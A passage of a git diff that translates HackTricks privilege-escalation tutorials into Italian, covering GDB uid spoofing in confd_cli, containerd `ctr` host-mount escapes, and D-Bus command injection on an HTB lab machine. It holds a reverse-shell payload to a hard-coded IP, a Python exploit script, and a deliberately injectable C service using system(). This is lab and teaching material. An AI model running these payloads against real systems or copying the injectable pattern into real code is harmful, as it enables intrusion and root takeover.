fake it. +Come menzionato nel blog di synacktiv (ultimo esempio), il programma `confd_cli` non supporta argomenti da riga di comando, ma posso influenzarlo con un debugger e fortunatamente GDB è incluso nel sistema. -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +Ho creato uno script GDB in cui ho forzato l'API `getuid` e `getgid` a restituire 0. Poiché ho già il privilegio “vmanage” attraverso la deserializzazione RCE, ho il permesso di leggere direttamente il file `/etc/confd/confd_ipc_secret`. root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +Uscita della console: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..2cf50e4cb 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Informazioni di base -Go to the following link to learn **what is containerd** and `ctr`: +Vai al seguente link per scoprire **cosa è containerd** e `ctr`: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,38 +12,30 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +se trovi che un host contiene il comando `ctr`: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +Puoi elencare le immagini: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +E poi **esegui una di quelle immagini montando la cartella radice dell'host su di essa**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +Esegui un contenitore privilegiato ed esci da esso.\ +Puoi eseguire un contenitore privilegiato come: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +Puoi quindi utilizzare alcune delle tecniche menzionate nella pagina seguente per **uscire da essa abusando delle capacità privilegiate**: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..499ef09f1 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -2,38 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -## **GUI enumeration** +## **Enumerazione GUI** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +D-Bus è utilizzato come mediatore per le comunicazioni inter-processo (IPC) negli ambienti desktop di Ubuntu. Su Ubuntu, si osserva il funzionamento simultaneo di diversi bus di messaggi: il bus di sistema, principalmente utilizzato da **servizi privilegiati per esporre servizi rilevanti per l'intero sistema**, e un bus di sessione per ogni utente connesso, che espone servizi rilevanti solo per quell'utente specifico. L'attenzione qui è principalmente sul bus di sistema a causa della sua associazione con servizi che operano con privilegi più elevati (ad esempio, root) poiché il nostro obiettivo è elevare i privilegi. Si nota che l'architettura di D-Bus impiega un 'router' per ogni bus di sessione, responsabile della reindirizzazione dei messaggi dei client ai servizi appropriati in base all'indirizzo specificato dai client per il servizio con cui desiderano comunicare. -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +I servizi su D-Bus sono definiti dagli **oggetti** e **interfacce** che espongono. Gli oggetti possono essere paragonati a istanze di classe nei linguaggi OOP standard, con ogni istanza identificata in modo univoco da un **percorso oggetto**. Questo percorso, simile a un percorso di filesystem, identifica in modo univoco ciascun oggetto esposto dal servizio. Un'interfaccia chiave per scopi di ricerca è l'interfaccia **org.freedesktop.DBus.Introspectable**, che presenta un metodo singolare, Introspect. Questo metodo restituisce una rappresentazione XML dei metodi, segnali e proprietà supportati dall'oggetto, con un focus qui sui metodi escludendo proprietà e segnali. +Per la comunicazione con l'interfaccia D-Bus, sono stati impiegati due strumenti: uno strumento CLI chiamato **gdbus** per l'invocazione facile dei metodi esposti da D-Bus negli script, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uno strumento GUI basato su Python progettato per enumerare i servizi disponibili su ciascun bus e per visualizzare gli oggetti contenuti all'interno di ciascun servizio. ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +Nella prima immagine sono mostrati i servizi registrati con il bus di sistema D-Bus, con **org.debin.apt** evidenziato specificamente dopo aver selezionato il pulsante System Bus. D-Feet interroga questo servizio per oggetti, visualizzando interfacce, metodi, proprietà e segnali per gli oggetti scelti, come visto nella seconda immagine. La firma di ogni metodo è anche dettagliata. -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +Una caratteristica notevole è la visualizzazione del **process ID (pid)** e della **linea di comando** del servizio, utile per confermare se il servizio viene eseguito con privilegi elevati, importante per la rilevanza della ricerca. -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**D-Feet consente anche l'invocazione dei metodi**: gli utenti possono inserire espressioni Python come parametri, che D-Feet converte in tipi D-Bus prima di passarli al servizio. -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +Tuttavia, si noti che **alcuni metodi richiedono autenticazione** prima di consentirci di invocarli. Ignoreremo questi metodi, poiché il nostro obiettivo è elevare i nostri privilegi senza credenziali in primo luogo. -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +Si noti inoltre che alcuni dei servizi interrogano un altro servizio D-Bus chiamato org.freedeskto.PolicyKit1 se un utente dovrebbe essere autorizzato a eseguire determinate azioni o meno. -## **Cmd line Enumeration** +## **Enumerazione della linea di comando** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### Elenca gli oggetti del servizio +È possibile elencare le interfacce D-Bus aperte con: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### Connessioni -#### Connections +[Da wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando un processo stabilisce una connessione a un bus, il bus assegna alla connessione un nome speciale chiamato _nome di connessione unico_. I nomi di bus di questo tipo sono immutabili: è garantito che non cambieranno finché la connessione esiste e, cosa più importante, non possono essere riutilizzati durante la vita del bus. Ciò significa che nessun'altra connessione a quel bus avrà mai assegnato un nome di connessione unico, anche se lo stesso processo chiude la connessione al bus e ne crea una nuova. I nomi di connessione unici sono facilmente riconoscibili perché iniziano con il carattere due punti—altrimenti vietato. -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### Informazioni sull'oggetto del servizio +Quindi, puoi ottenere alcune informazioni sull'interfaccia con: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### Elenca le interfacce di un oggetto servizio -### List Interfaces of a Service Object - -You need to have enough permissions. - +Devi avere permessi sufficienti. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` - ### Introspect Interface of a Service Object -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +Nota come in questo esempio è stata selezionata l'ultima interfaccia scoperta utilizzando il parametro `tree` (_vedi sezione precedente_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +Nota il metodo `.Block` dell'interfaccia `htb.oouch.Block` (quello che ci interessa). La "s" delle altre colonne potrebbe significare che si aspetta una stringa. -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### Interfaccia di Monitoraggio/Cattura -### Monitor/Capture Interface +Con privilegi sufficienti (solo i privilegi `send_destination` e `receive_sender` non sono sufficienti) puoi **monitorare una comunicazione D-Bus**. -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Per **monitorare** una **comunicazione** avrai bisogno di essere **root.** Se riscontri ancora problemi ad essere root, controlla [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> Se sai come configurare un file di configurazione D-Bus per **permettere agli utenti non root di sniffare** la comunicazione, per favore **contattami**! +Diversi modi per monitorare: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +Nell'esempio seguente, l'interfaccia `htb.oouch.Block` è monitorata e **il messaggio "**_**lalalalal**_**" viene inviato attraverso una cattiva comunicazione**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +Puoi usare `capture` invece di `monitor` per salvare i risultati in un file pcap. -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### Filtrare tutto il rumore +Se ci sono troppe informazioni sul bus, passa una regola di corrispondenza in questo modo: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +Possono essere specificate più regole. Se un messaggio corrisponde a _qualunque_ delle regole, il messaggio verrà stampato. Così: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +Consulta la [documentazione di D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) per ulteriori informazioni sulla sintassi delle regole di corrispondenza. -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### Maggiori informazioni -### More +`busctl` ha ancora più opzioni, [**trovale tutte qui**](https://www.freedesktop.org/software/systemd/man/busctl.html). -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **Scenario Vulnerabile** +Come utente **qtc all'interno dell'host "oouch" di HTB** puoi trovare un **file di configurazione D-Bus inaspettato** situato in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +Nota dalla configurazione precedente che **è necessario essere l'utente `root` o `www-data` per inviare e ricevere informazioni** tramite questa comunicazione D-BUS. -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Come utente **qtc** all'interno del contenitore docker **aeb4525789d8** puoi trovare del codice relativo a dbus nel file _/code/oouch/routes.py._ Questo è il codice interessante: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +Come puoi vedere, si sta **collegando a un'interfaccia D-Bus** e inviando alla **funzione "Block"** l'"client_ip". -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +Dall'altra parte della connessione D-Bus c'è un binario compilato in C in esecuzione. Questo codice sta **ascoltando** nella connessione D-Bus **per indirizzi IP e sta chiamando iptables tramite la funzione `system`** per bloccare l'indirizzo IP fornito.\ +**La chiamata a `system` è vulnerabile di proposito all'injection di comandi**, quindi un payload come il seguente creerà una reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### Sfruttalo +Alla fine di questa pagina puoi trovare il **codice C completo dell'applicazione D-Bus**. All'interno puoi trovare tra le righe 91-97 **come il `D-Bus object path`** **e il `interface name`** sono **registrati**. Queste informazioni saranno necessarie per inviare informazioni alla connessione D-Bus: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +Inoltre, nella riga 57 puoi trovare che **l'unico metodo registrato** per questa comunicazione D-Bus si chiama `Block`(_**Ecco perché nella sezione seguente i payload verranno inviati all'oggetto servizio `htb.oouch.Block`, all'interfaccia `/htb/oouch/Block` e al nome del metodo `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +Il seguente codice python invierà il payload alla connessione D-Bus al metodo `Block` tramite `block_iface.Block(runme)` (_nota che è stato estratto dal blocco di codice precedente_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl e dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send` è uno strumento utilizzato per inviare messaggi al “Message Bus” +- Message Bus – Un software utilizzato dai sistemi per facilitare le comunicazioni tra le applicazioni. È correlato a Message Queue (i messaggi sono ordinati in sequenza) ma nel Message Bus i messaggi vengono inviati in un modello di abbonamento e sono anche molto veloci. +- Il tag “-system” è utilizzato per indicare che si tratta di un messaggio di sistema, non di un messaggio di sessione (per impostazione predefinita). +- Il tag “–print-reply” è utilizzato per stampare il nostro messaggio in modo appropriato e ricevere eventuali risposte in un formato leggibile dall'uomo. +- “–dest=Dbus-Interface-Block” L'indirizzo dell'interfaccia Dbus. +- “–string:” – Tipo di messaggio che desideriamo inviare all'interfaccia. Ci sono diversi formati per inviare messaggi come double, bytes, booleans, int, objpath. Tra questi, il “object path” è utile quando vogliamo inviare un percorso di un file all'interfaccia Dbus. Possiamo utilizzare un file speciale (FIFO) in questo caso per passare un comando all'interfaccia in nome di un file. “string:;” – Questo serve a richiamare nuovamente il percorso dell'oggetto dove posizioniamo il file/comando della shell inversa FIFO. -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ +_Note che in `htb.oouch.Block.Block`, la prima parte (`htb.oouch.Block`) fa riferimento all'oggetto servizio e l'ultima parte (`.Block`) fa riferimento al nome del metodo._ ### C code - ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* 